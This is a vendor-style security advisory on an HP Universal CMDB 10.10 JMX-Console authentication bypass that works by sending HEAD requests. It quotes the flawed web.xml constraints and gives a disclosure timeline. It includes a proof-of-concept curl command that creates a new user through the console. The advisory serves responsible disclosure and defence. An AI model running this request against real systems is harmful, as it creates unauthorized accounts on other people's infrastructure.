|Title||Hewlett-Packard UCMDB - JMX-Console Authentication Bypass|
|Product||Hewlett-Packard Universal CMDB (UCMDB)|
|Affected versions||UCMDB 10.10 (Other versions might also be affected)|
|By||Hans-Martin Muench (Mogwai, IT-Sicherheitsberatung Muench)|
The HP Universal CMDB (UCMDB) automatically collects and manages accurate and current business service definitions, associated infrastructure relationships and detailed information on the assets, and is a central component in many of the key processes in your IT organization, such as change management, asset management, service management, and business service management. The UCMDB ensures that these processes can rely on comprehensive and true data for all business services. Together with HP UCMDB Configuration Manager (UCMDB-CM) you can standardize your IT environments, and make sure they comply with clear policies, and defined authorization process. Many IT organizations turn to a CMDB and configuration management processes to create a shared single version of truth to support business service management, IT service management, change management, and asset management initiatives. These initiatives help align IT efforts with business requirements and run IT operations more efficiently and effectively. The initiatives success depends on the CMDB providing a complete view into the configuration items (CIs) and assets as well as how various IT elements relate together to deliver the business service.
Apply configuration changes from HP
|CVSS Base Score||6.4|
|CVSS v2 Vector||(AV:N/AC:L/Au:N/C:P/I:P/A:N)|
UCMB administrators heavily rely on a JMX-Console, which is installed by default. The JMX-Console web application in UCMDB performs access control only for the GET and POST methods, which allows remote attackers to send requests to this application's GET handler by using a different method (for example HEAD).
The web.xml file of the JMX Console contains following security constrains:
<security-constraint> <web-resource-collection> <web-resource-name>Protected Pages</web-resource-name> <url-pattern>/*</url-pattern> <http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection> <auth-constraint> <role-name>sysadmin</role-name> </auth-constraint> </security-constraint> <security-constraint> <web-resource-collection> <web-resource-name>Callhome Servlet</web-resource-name> <url-pattern>/callhome</url-pattern> <http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection> </security-constraint>
This vulnerability is identical with CVE-2010-0738 (JBoss JMX-Console Authentication bypass). This can be used to create a new account which can then be used to access the JMX console.
The following Curl command will send a HEAD request to create a new user "pocuser" in the UCMDB Backend:
curl -I "http://foobar:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=UCMDB%3Aservice%3DAuthorization+Services&methodName=createUser&arg0=&arg1=zdi-poc&arg2=pocuser&arg3=zdi-poc&arg4=pocuser"
|14/11/2014||Reporting issue to HP|
|18/11/2014||Re-Reporting, as no acknowledge received|
|18/11/2014||Acknowledge from HP|
|02/01/2015||Requesting status update from HP|
|29/01/2015||Requesting status update from HP|
|31/01/2015||Response from HP, they plan to release the advisory next week|
|05/02/2015||HP releases security bulletin|
|03/02/2015||Mogwai security bulletin release|
Advisory URL: https://www.mogwaisecurity.de/#lab
Mogwai, IT-Sicherheitsberatung Muench
89075 Ulm (Germany)